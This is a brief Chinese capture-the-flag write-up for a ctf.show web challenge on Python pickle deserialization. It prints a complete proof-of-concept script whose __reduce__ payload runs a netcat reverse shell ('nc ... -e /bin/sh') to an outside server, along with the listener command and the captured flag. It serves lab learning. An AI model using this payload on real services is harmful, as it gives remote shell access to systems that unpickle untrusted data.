Werkzeug/1.0.1Python/3.7.9pickle 反序列化
    image.png

    Python反序列化,之前有过一些研究,晚点把Python反序列化基础链接更新上来~

    尝试了很多,发现是无回显的,需要反弹shell

    poc

    1. import base64
    2. import pickle
    3. import requests
    4. class Exp():
    5. def __reduce__(self):
    6. return(__import__("os").system, ('nc 服务器ip 服务器端口 -e /bin/sh',))
    7. exp = Exp()
    8. s = pickle.dumps(exp)
    9. s_base64 = base64.b64encode(s)
    10. url = 'http://7a111fcd-ce76-4dde-9c49-5aec7f2bd40f.challenge.ctf.show:8080/backdoor'
    11. params={
    12. 'data': s_base64
    13. }
    14. requests.get(url, params)

    先在服务器上监听

    1. nc -lvvp 7779

    image.png
    运行脚本

    1. python3 web277.py

    image.png
    回到服务器上 cat 一下即可
    image.png
    flag
    ctfshow{c27942ff-fd81-475d-89cf-8527dcfa5e91}